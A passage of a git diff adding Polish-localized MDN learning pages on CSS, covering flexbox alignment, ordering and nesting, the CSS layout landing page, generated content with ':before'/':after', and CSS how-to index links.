+ <li>A second unitless proportion value — {{cssxref("flex-shrink")}} — that comes into play when the flex items are overflowing their container. This specifies how much of the overflowing amount is taken away from each flex item's size, to stop them overflowing their container. This is quite an advanced flexbox feature, and we won't be covering it any further in this article.</li>
+ <li>The minimum size value we discussed above. This can be specified individually using the {{cssxref("flex-basis")}} longhand value.</li>
+</ul>
+
+<p>We'd advise against using the longhand flex properties unless you really have to (for example, to override something previously set). They lead to a lot of extra code being written, and they can be somewhat confusing.</p>
+
+<h2 id="Horizontal_and_vertical_alignment">Horizontal and vertical alignment</h2>
+
+<p>You can also use flexbox features to align flex items along the main or cross axes. Let's explore this by looking at a new example — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a> (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">see it live also</a>) — which we are going to turn into a neat, flexible button/toolbar. At the moment you'll see a horizontal menu bar, with some buttons jammed into the top left hand corner.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13414/flexbox-example5.png" style="display: block; height: 77px; margin: 0px auto; width: 600px;"></p>
+
+<p>First, take a local copy of this example.</p>
+
+<p>Now, add the following to the bottom of the example's CSS:</p>
+
+<pre class="brush: css notranslate">div {
+ display: flex;
+ align-items: center;
+ justify-content: space-around;
+}</pre>
+
+<p>Refresh the page and you'll see that the buttons are now nicely centered, horizontally and vertically. We've done this via two new properties.</p>
+
+<p>{{cssxref("align-items")}} controls where the flex items sit on the cross axis.</p>
+
+<ul>
+ <li>By default, the value is <code>stretch</code>, which stretches all flex items to fill the parent in the direction of the cross axis. If the parent hasn't got a fixed width in the cross axis direction, then all flex items will become as long as the longest flex items. This is how our first example got equal height columns by default.</li>
+ <li>The <code>center</code> value that we used in our above code causes the items to maintain their intrinsic dimensions, but be centered along the cross axis. This is why our current example's buttons are centered vertically.</li>
+ <li>You can also have values like <code>flex-start</code> and <code>flex-end</code>, which will align all items at the start and end of the cross axis respectively. See {{cssxref("align-items")}} for the full details.</li>
+</ul>
+
+<p>You can override the {{cssxref("align-items")}} behavior for individual flex items by applying the {{cssxref("align-self")}} property to them. For example, try adding the following to your CSS:</p>
+
+<pre class="brush: css notranslate">button:first-child {
+ align-self: flex-end;
+}</pre>
+
+<p>Have a look at what effect this has, and remove it again when you've finished.</p>
+
+<p>{{cssxref("justify-content")}} controls where the flex items sit on the main axis.</p>
+
+<ul>
+ <li>The default value is <code>flex-start</code>, which makes all the items sit at the start of the main axis.</li>
+ <li>You can use <code>flex-end</code> to make them sit at the end.</li>
+ <li><code>center</code> is also a value for <code>justify-content</code>, and will make the flex items sit in the center of the main axis.</li>
+ <li>The value we've used above, <code>space-around</code>, is useful — it distributes all the items evenly along the main axis, with a bit of space left at either end.</li>
+ <li>There is another value, <code>space-between</code>, which is very similar to <code>space-around</code> except that it doesn't leave any space at either end.</li>
+</ul>
+
+<p>We'd like to encourage you to play with these values to see how they work before you continue.</p>
+
+<h2 id="Ordering_flex_items">Ordering flex items</h2>
+
+<p>Flexbox also has a feature for changing the layout order of flex items, without affecting the source order. This is another thing that is impossible to do with traditional layout methods.</p>
+
+<p>The code for this is simple: try adding the following CSS to your button bar example code:</p>
+
+<pre class="brush: css notranslate">button:first-child {
+ order: 1;
+}</pre>
+
+<p>Refresh, and you'll now see that the "Smile" button has moved to the end of the main axis. Let's talk about how this works in a bit more detail:</p>
+
+<ul>
+ <li>By default, all flex items have an {{cssxref("order")}} value of 0.</li>
+ <li>Flex items with higher order values set on them will appear later in the display order than items with lower order values.</li>
+ <li>Flex items with the same order value will appear in their source order. So if you have four items with order values of 2, 1, 1, and 0 set on them respectively, their display order would be 4th, 2nd, 3rd, then 1st.</li>
+ <li>The 3rd item appears after the 2nd because it has the same order value and is after it in the source order.</li>
+</ul>
+
+<p>You can set negative order values to make items appear earlier than items with 0 set. For example, you could make the "Blush" button appear at the start of the main axis using the following rule:</p>
+
+<pre class="brush: css notranslate">button:last-child {
+ order: -1;
+}</pre>
+
+<h2 id="Nested_flex_boxes">Nested flex boxes</h2>
+
+<p>It is possible to create some pretty complex layouts with flexbox. It is perfectly ok to set a flex item to also be a flex container, so that its children are also laid out like flexible boxes. Have a look at <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html">complex-flexbox.html</a> (<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">see it live also</a>).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13418/flexbox-example7.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>The HTML for this is fairly simple. We've got a {{htmlelement("section")}} element containing three {{htmlelement("article")}}s. The third {{htmlelement("article")}} contains three {{htmlelement("div")}}s. :</p>
+
+<pre class="notranslate">section - article
+ article
+ article - div - button
+ div button
+ div button
+ button
+ button</pre>
+
+<p>Let's look at the code we've used for the layout.</p>
+
+<p>First of all, we set the children of the {{htmlelement("section")}} to be laid out as flexible boxes.</p>
+
+<pre class="brush: css notranslate">section {
+ display: flex;
+}</pre>
+
+<p>Next, we set some flex values on the {{htmlelement("article")}}s themselves. Take special note of the 2nd rule here — we are setting the third {{htmlelement("article")}} to have its children laid out like flex items too, but this time we are laying them out like a column.</p>
+
+<pre class="brush: css notranslate">article {
+ flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+ flex: 3 200px;
+ display: flex;
+ flex-flow: column;
+}
+</pre>
+
+<p>Next, we select the first {{htmlelement("div")}}. We first use <code>flex:1 100px;</code> to effectively give it a minimum height of 100px, then we set its children (the {{htmlelement("button")}} elements) to also be laid out like flex items. Here we lay them out in a wrapping row, and align them in the center of the available space like we did in the individual button example we saw earlier.</p>
+
+<pre class="brush: css notranslate">article:nth-of-type(3) div:first-child {
+ flex:1 100px;
+ display: flex;
+ flex-flow: row wrap;
+ align-items: center;
+ justify-content: space-around;
+}</pre>
+
+<p>Finally, we set some sizing on the button, but more interestingly we give it a flex value of 1. This has a very interesting effect, which you'll see if you try resizing your browser window width. The buttons will take up as much space as they can and sit as many on the same line as they can, but when they can no longer fit comfortably on the same line, they'll drop down to create new lines.</p>
+
+<pre class="brush: css notranslate">button {
+ flex: 1;
+ margin: 5px;
+ font-size: 18px;
+ line-height: 1.5;
+}</pre>
+
+<h2 id="Cross_browser_compatibility">Cross browser compatibility</h2>
+
+<p>Flexbox support is available in most new browsers — Firefox, Chrome, Opera, Microsoft Edge and IE 11, newer versions of Android/iOS, etc. However you should be aware that there are still older browsers in use that don't support Flexbox (or do, but support a really old, out-of-date version of it.)</p>
+
+<p>While you are just learning and experimenting, this doesn't matter too much; however if you are considering using flexbox in a real website you need to do testing and make sure that your user experience is still acceptable in as many browsers as possible.</p>
+
+<p>Flexbox is a bit trickier than some CSS features. For example, if a browser is missing a CSS drop shadow, then the site will likely still be usable. Not supporting flexbox features however will probably break a layout completely, making it unusable.</p>
+
+<p>We'll discuss strategies for overcoming tricky cross browser support issues in a future module.</p>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Tu kończy się nasza krótka wycieczka po flexboxie. Mamy nadzieję że dobrze się bawiłeś i będziesz się dobrze bawił robiąc postępy w nauce.</p>
+
+<p>W dalszych artykułach przyjrzymy się innnemu ważnemu aspektowi układu strony w CSS - grid system (układ siatkowy).</p>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div>
+
+<div>
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Practical positioning examples</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></li>
+</ul>
+</div>
diff --git a/files/pl/learn/css/css_layout/index.html b/files/pl/learn/css/css_layout/index.html
new file mode 100644
index 0000000000..f84177e392
--- /dev/null
+++ b/files/pl/learn/css/css_layout/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS layout
+slug: Learn/CSS/CSS_layout
+tags:
+ - Beginner
+ - CSS
+ - Floating
+ - Grids
+ - Guide
+ - Landing
+ - Layout
+ - Learn
+ - Module
+ - Multiple column
+ - NeedsTranslation
+ - Positioning
+ - TopicStub
+ - flexbox
+ - float
+translation_of: Learn/CSS/CSS_layout
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">At this point we've already looked at CSS fundamentals, how to style text, and how to style and manipulate the boxes that your content sits inside. Now it's time to look at how to place your boxes in the right place in relation to the viewport, and one another. We have covered the necessary prerequisites so we can now dive deep into CSS layout, looking at different display settings, traditional layout methods involving float and positioning, and modern layout tools like flexbox.</p>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>Before starting this module, you should already:</p>
+
+<ol>
+ <li>Have basic familiarity with HTML, as discussed in the <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a> module.</li>
+ <li>Be comfortable with CSS fundamentals, as discussed in <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.</li>
+ <li>Understand how to <a href="/en-US/docs/Learn/CSS/Styling_boxes">style boxes</a>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p>These articles will provide instruction on the fundamental layout tools and techniques available in CSS.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></dt>
+ <dd>This article will recap some of the CSS layout features we've already touched upon in previous modules — such as different {{cssxref("display")}} values — and introduce some of the concepts we'll be covering throughout this module.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></dt>
+ <dd>Originally for floating images inside blocks of text, the {{cssxref("float")}} property has become one of the most commonly used tools for creating multiple column layouts on webpages. This article explains all.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></dt>
+ <dd>Positioning allows you to take elements out of the normal document layout flow, and make them behave differently, for example sitting on top of one another, or always remaining in the same place inside the browser viewport. This article explains the different {{cssxref("position")}} values, and how to use them.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">Practical positioning examples</a></dt>
+ <dd>With the basics of positioning covered in the last article, we will now look at building a couple of real world examples, to illustrate what kinds of things you can do with positioning.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></dt>
+ <dd>A new technology, but with support now fairly widespread across browsers, <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a> is starting to become ready for widespread use. Flexbox provides tools to allow rapid creation of complex, flexible layouts, and features that historically proved difficult with CSS. This articles explains all the fundamentals.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></dt>
+ <dd>Grid systems are another very common feature used in CSS layouts, which tend to be implemented using floats or other layout features. You imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. In this article we'll explore the basic idea behind creating a grid system, look at using a ready-made grid system provided by a grid framework, and end by experimenting with CSS Grids — a nascent new browser feature that makes implementing grid design on the Web a lot easier.</dd>
+</dl>
diff --git a/files/pl/learn/css/howto/generated_content/index.html b/files/pl/learn/css/howto/generated_content/index.html
new file mode 100644
index 0000000000..b027725c1a
--- /dev/null
+++ b/files/pl/learn/css/howto/generated_content/index.html
@@ -0,0 +1,140 @@
+---
+title: Treść
+slug: Learn/CSS/Howto/Generated_content
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Howto/Generated_content
+---
+<p>
+</p><p>Ta strona opisuje niektóre metody, dzięki którym możesz użyć CSS-a, aby dodać treść do dokumentu w trakcie jego wyświetlania.
+</p><p>Zmodyfikujesz swój arkusz stylów, aby dodać treść oraz obrazek.
+</p>
+<h3 id="Informacja:_Tre.C5.9B.C4.87" name="Informacja:_Tre.C5.9B.C4.87"> Informacja: Treść </h3>
+<p>Jedną z ważnych zalet CSS-a jest to, że pomaga on oddzielić warstwę prezentacyjną dokumentu od jego treści.
+Zdarzają się jednak sytuacje, kiedy dobrym rozwiązaniem jest określenie treści jako elementu arkusza stylów, a nie dokumentu.
+</p><p>Treść określona w arkuszach stylów może składać się z tekstu i obrazów. Możesz określić treść w arkuszu stylów, kiedy jest ona blisko związana ze strukturą dokumentu.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Wstawianie treści w arkusz stylów może spowodować komplikacje. Na przykład możesz mieć wiele wersji językowych dokumentu, które dzielą arkusz stylów.
+<p>Jeżeli jakiś fragment arkusza stylów zawiera ciągi wymagające tłumaczenia, to musisz go wyciągnąć do osobnego pliku i przygotować osobną wersję dla każdej wersji językowej.
+</p><p>Unikniesz takich komplikacji, jeśli treść określona w arkuszach stylów będzie zawierała tylko symbole i obrazki, które pasują do wszystkich języków i kultur.
+</p><p>Treść określona w arkuszu stylów nie staje się częścią DOM-u.
+</p>
+</td></tr></tbody></table>
+<h4 id="Teksty" name="Teksty">Teksty</h4>
+<p>CSS pozwala umieścić tekst przed i po elemencie. Stwórz regułę i dodaj
+<code>:before</code> lub <code>:after</code> do selektora. Ustaw własność <code>content</code> z tekstem jako wartością.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła dodaje tekst <span style="font-weight: bold; color: navy;">Dokumentacja:</span> przed każdym elementem należącym do klasy <code>ref</code>:
+<div style="width: 30em;">
+<p>.ref:before {
+</p>
+<pre class="eval"> font-weight: bold;
+ color: navy;
+ content: "Dokumentacja: ";
+ }
+</pre>
+</div>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Arkusz stylów domyślnie zakodowany jest jako UTF-8, ale można to zmienić w odnośniku, w samym arkuszu stylów lub w inny sposób. Aby dowiedzieć się więcej, zajrzyj do specyfikacji CSS, do rozdziału <a class="external" href="http://...">4.4 reprezentacja arkuszy stylów CSS</a>.
+<p>Pojedyncze znaki mogą także być zakodowane przy użyciu znaku odwróconego ukośnika. Na przykład \265B jest symbolem szachów dla czarnej królowej ♛. Aby dowiedzieć się więcej, zajrzyj do dokumentacji CSS, do rozdziałów <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q24">Korzystanie ze znaków nie reprezentowanych w kodowaniu</a> oraz <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q6">Characters and case</a>.
+</p>
+</td></tr></tbody></table>
+<h4 id="Obrazki" name="Obrazki">Obrazki</h4>
+<p>Aby dodać obrazek przed lub po jakimś elemencie, możesz określić URL pliku obrazka jako wartość własności <code>content</code>.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła dodaje wolną przestrzeń oraz ikonę po każdym odnośniku, który posiada klasę <code>glossary</code>:
+<div style="width: 45em;">
+<p>a.glossary:after {content: " " url("../images/glossary-icon.gif");}
+</p>
+</div>
+</td></tr></tbody></table>
+<p>Aby dodać obrazek jako element tła, określ URL pliku obrazu jako wartość własności <code>background</code>. Jest to skrótowa własność, która określa kolor tła, obrazek tła, jak ten obrazek jest powielany i inne szczegóły.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła określa tło podanego elementu, używając URL-a do określenia pliku obrazu.
+<p>Selektor określa identyfikator elementu.
+Wartość <code>no-repeat</code> powoduje, że obrazek wyświetlany jest tylko raz:
+</p>
+<div style="width: 50em;">
+<ol><li>sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+</li></ol>
+</div>
+</td></tr></tbody></table>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
+<caption>Więcej szczegółów
+</caption><tbody><tr>
+<td> Aby dowiedzieć się więcej o poszczególnych własnościach tła oraz innych opcjach określanych dla obrazków tła, zajrzyj do dokumentacji CSS, rozdział <a class="external" href="http://www.w3.org/TR/CSS21/colors.html#q2">Tła</a>.
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Dodawanie_obrazu_t.C5.82a" name="Zadanie:_Dodawanie_obrazu_t.C5.82a"> Zadanie: Dodawanie obrazu tła </h3>
+<p>Poniższy obrazek to biały prostokąt z niebieską linią na dole.
+Pobierz ten obrazek do katalogu, w którym trzymasz plik CSS:
+</p>
+<table style="border: 2px solid #ccc;">
+<tbody><tr>
+<td><img alt="Grafika:Blue-rule.png">
+</td></tr></tbody></table>
+<p>(Na przykład wciśnij prawy klawisz myszy, aby otworzyć menu kontekstowe, i wybierz Zapisz Obraz Jako... a następnie określ katalog, którego używasz w tym kursie.)
+</p><p>Wyedytuj swój plik CSS i dodaj tę regułę, aby ustawić obrazek tła dla całej strony.
+</p>
+<div style="width: 40em;">
+<p>background: url("Blue-rule.png");
+</p>
+</div>
+<p>Wartość <code>repeat</code> jest domyślna i nie musi być określana.
+Obrazek jest powtarzany horyzontalnie i wertykalnie, sprawiając wrażenie, jakby strona była kartką papieru w linie:
+</p>
+<div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
+<p style="margin: 0px;"><img alt="Grafika:Blue-rule-ground.png"></p>
+<div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
+<div style="font-style: italic; width: 24em;">
+<p><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets
+</p>
+</div>
+<div style="font-style: normal; padding-top: 2px; height: 8em;">
+<p><strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets
+</p>
+</div>
+</div>
+</div>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Wyzwanie
+</caption><tbody><tr>
+<td> Pobierz ten obraz:
+<table style="border: 2px solid #ccc;">
+<tbody><tr>
+<td><img alt="Grafika:Yellow-pin.png">
+</td></tr></tbody></table>
+<p>Dodaj jedną regułę do Twojego arkusza stylów, aby wyświetlał obrazek na początku każdej linii:
+</p>
+<div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
+<p style="margin: 0px;"><img alt="Grafika:Blue-rule-ground.png"></p>
+<div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
+<div style="font-style: italic; width: 24em; padding-top: 8px;"><img alt="Grafika:Yellow-pin.png"> <strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: green; background-color: #ddf; font: 200% serif;">S</strong>heets
+</div>
+<div style="font-style: normal; padding-top: 12px; height: 8em;"><img alt="Grafika:Yellow-pin.png"> <strong style="color: red; background-color: #ddf; font: 200% serif;">C</strong>ascading <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>tyle <strong style="color: red; background-color: #ddf; font: 200% serif;">S</strong>heets
+</div>
+</div>
+</div>
+</td></tr></tbody></table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4>
+<p>Zazwyczaj treść jest dodawana przez arkusz stylów podczas modyfikowania list.
+</p><p>Następna strona opisuje, jak określić style dla elementów listy:
+<b><a href="pl/CSS/Na_pocz%c4%85tek/Listy">Listy</a></b>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/Getting_Started/Content", "fr": "fr/CSS/Premiers_pas/Contenu", "ja": "ja/CSS/Getting_Started/Content", "pt": "pt/CSS/Como_come\u00e7ar/Conte\u00fado" } ) }}
diff --git a/files/pl/learn/css/howto/index.html b/files/pl/learn/css/howto/index.html
new file mode 100644
index 0000000000..1f087d3e22
--- /dev/null
+++ b/files/pl/learn/css/howto/index.html
@@ -0,0 +1,86 @@
+---
+title: Use CSS to solve common problems
+slug: Learn/CSS/Howto
+translation_of: Learn/CSS/Howto
+---
+<div>Translation in progress{{LearnSidebar}}</div>
+
+<p class="summary">The following links provide solutions to common problems you can solve with CSS.</p>
+
+<h2 id="Common_use_cases">Common use cases</h2>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Basics">Basics</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">How to apply CSS to HTML</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#White_space">How to use whitespace in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Syntax#Comments">How to write comments in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Simple_selectors">How to select elements via element name, class or ID</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">How to select elements via attribute name and content</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes">How to use pseudo-classes</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-elements">How to use pseudo-elements</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Multiple_selectors_on_one_rule">How to apply multiple selectors to the same rule</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">How to specify colors in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS">How to debug CSS in the browser</a></li>
+</ul>
+
+<h3 id="CSS_and_text">CSS and text</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">How to style text</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">How to customize a list of elements</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Styling_links">How to style links</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Fundamentals#Text_drop_shadows">How to add shadows to text</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Boxes_and_layouts">Boxes and layouts</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties">How to size CSS boxes</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Overflow">How to control overflowing content</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to control the part of a CSS box that the background is drawn under</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">How do I define inline, block, and inline-block?</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Howto/create_fancy_boxes">How to create fancy boxes</a> (also see the <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module, generally).</li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to use <code>background-clip</code> to control how much of the box your background image covers</a>.</li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">How to change the box model completely using <code>box-sizing</code></a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Backgrounds">How to control backgrounds</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Borders">How to control borders</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Styling_tables">How to style an HTML table</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows">How to add shadows to boxes</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Uncommon_and_advanced_techniques">Uncommon and advanced techniques</h2>
+
+<p>CSS allows very advanced design techniques. These articles help demistify the harder use cases you may face.</p>
+
+<h3 id="General">General</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity">How to calculate specificity of a CSS selector</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Controlling_inheritance">How to control inheritance in CSS</a></li>
+</ul>
+
+<h3 id="Advanced_effects">Advanced effects</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters">How to use filters in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes">How to use blend modes in CSS</a></li>
+</ul>
+
+<h3 id="Layout">Layout</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">Using CSS flexible boxes</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">Using CSS multi-column layouts</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Content">Using CSS generated content</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="/en-US/docs/Learn/CSS/Howto/CSS_FAQ">CSS FAQ</a> — A variety of topics: from debugging to selector usage.</p>
diff --git a/files/pl/learn/css/index.html b/files/pl/learn/css/index.html
new file mode 100644
index 0000000000..1859c169ff
--- /dev/null
+++ b/files/pl/learn/css/index.html
@@ -0,0 +1,52 @@
+---
+title: CSSs
+slug: Learn/CSS
+translation_of: Learn/CSS
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Kaskadowe arkusze styli (ang. Cascading Style Sheets) — lub po prostu CSS — jest drugą technologią której powinieneś się nauczyć po HTML, który jest używany do zdefiniowania struktury i semantyki zawartości strony. CSS jest używany do nadania jej wyglądu i rozmieszczenia elementów. Dla przykładu CSS możesz użyć do zmiany czcionki, koloru, wielkości, odstępu twojej zawartości, podzielenia jej na wiele kolumn, lub dodaniaanimacji i innych dekoracyjnych cech.</p>
+
+<h2 id="Ścieżka_nauczania">Ścieżka nauczania</h2>
+
+<p>Zanim przystąpisz do nauki CSS, powinieneś w pierwszej kolejności poznać podstawy HTML. Rekomendujemy, byś przerobił najpierw rozdział <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">Wprowadzenie do HTML</a> — później możesz uczyć się o:</p>
+
+<ul>
+ <li>CSS, zaczynająć od rozdziału <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS</a></li>
+ <li>Bardziej zaawansowanych <a href="https://developer.mozilla.org/en-US/Learn/HTML#Modules">Modułach HTML</a> </li>
+ <li><a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, i jak jej używać do dodawania dynamicznych funkcjonalności na stronach internetowych</li>
+</ul>
+
+<p>Kiedy już zrozumiesz absolutne podstawy HTML, rekomendujemy byś uczył się HTML i CSS jednocześnie, skacząc wte i wewte między tymi dwoma tematami. Powodem jest to, że HTML jest dalece bardziej interesujący z CSS, a z drugiej strony nie możesz naprawdę poznać CSS bez znajomości HTML.</p>
+
+<p>Zanim zaczniesz ten temat, powinieneś również mieć co najmniej podstawową umiejętność korzystania z komputera oraz biernego używania Internetu (tzn. przeglądania stron internetowych). Powinieneś mieć skonfigurowane podstawowe środowisko pracy w sposób wyszczególniony w rozdziale <a href="/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Instalowanie podstawowego oprogramowania</a>, a także rozumieć jak się tworzy i zarządza plikami, jak zostało to wyszczególnione w rozdziale <a href="/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Radzenie sobie z plikami</a> — oba te rozdziały są częścią naszego modułu dla zupełnych początkujących <a href="/en-US/docs/Learn/Getting_started_with_the_web">Rozpocznij pracę z siecią</a>.</p>
+
+<p>Zalecane jest, byś przerobił najpierw moduł <a href="/en-US/docs/Learn/Getting_started_with_the_web">Rozpocznij pracę z siecią</a> zanim przystąpisz do tego tematu, jednak nie jest to absolutnie konieczne; wiele z tego, co zostało poruszone w artykule Podstawy CSS, znajduje się także w module Wprowadzenie do CSS, jednak opisane jest dużo bardziej szczegółowo.</p>
+
+<h2 id="Moduły">Moduły</h2>
+
+<p>Ten rozdział zawiera następujące moduły, w sugerowanej kolejności przerabiania ich. Zdecydowanie powinieneś zacząć po kolei, od pierwszego.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS</a></dt>
